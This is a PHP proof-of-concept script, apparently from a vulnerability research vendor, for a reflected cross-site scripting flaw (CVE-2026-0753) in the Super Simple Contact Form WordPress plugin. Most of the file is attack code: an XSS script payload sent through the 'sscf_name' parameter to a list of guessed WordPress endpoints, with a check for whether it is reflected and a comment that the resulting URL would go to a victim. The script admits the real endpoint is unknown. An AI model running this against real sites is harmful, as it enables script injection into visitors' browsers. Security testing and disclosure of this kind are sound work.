CVE-2026-0753: Super Simple Contact Form <= 1.6.2 – Reflected Cross-Site Scripting via 'sscf_name' Parameter (super-simple-contact-form)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0753 - Super Simple Contact Form <= 1.6.2 - Reflected Cross-Site Scripting via 'sscf_name' Parameter
<?php
/**
 * Proof of Concept for CVE-2026-0753.
 * This script demonstrates a reflected XSS attack against the Super Simple Contact Form plugin.
 * The exact vulnerable endpoint is not publicly documented. This PoC tests common WordPress patterns.
 * Assumptions:
 *   1. The 'sscf_name' parameter is reflected unsanitized in the HTTP response.
 *   2. The vulnerability is accessible via a public endpoint (AJAX, REST, or form handler).
 */

$target_url = 'http://vulnerable-wordpress-site.com'; // CONFIGURE THIS

// Common WordPress endpoints where plugin form handlers might reside
$endpoints_to_test = [
    '/wp-admin/admin-ajax.php',          // AJAX handler
    '/wp-admin/admin-post.php',          // Admin POST handler
    '/wp-content/plugins/super-simple-contact-form/', // Direct plugin path (needs specific file)
    '/',                                 // Front-page form submission
    '/contact/',                         // Common contact page slug
];

// Basic XSS payload to test for reflection
$payload = '"><script>alert(`Atomic Edge XSS Test: ${document.domain}`)</script>';

// Test each endpoint with a GET request containing the malicious parameter
foreach ($endpoints_to_test as $endpoint) {
    $test_url = $target_url . $endpoint;
    $full_url = $test_url . '?sscf_name=' . urlencode($payload);
    
    echo "[*] Testing: $full_urln";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $full_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // For testing only
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    curl_close($ch);
    
    // Check if payload is reflected unsanitized
    if (strpos($response, $payload) !== false) {
        echo "[!] POTENTIAL VULNERABILITY DETECTED. Payload reflected in response from $endpointn";
        echo "    Crafted exploit URL: $full_urln";
        // In a real attack, this URL would be sent to a victim
    }
}

// Note: A real exploit would use a more stealthy payload and likely involve POST requests.
// The vulnerable endpoint might require a specific 'action' parameter for AJAX handlers.
// Without the plugin source, this PoC demonstrates the attack vector but may need adjustment.
?>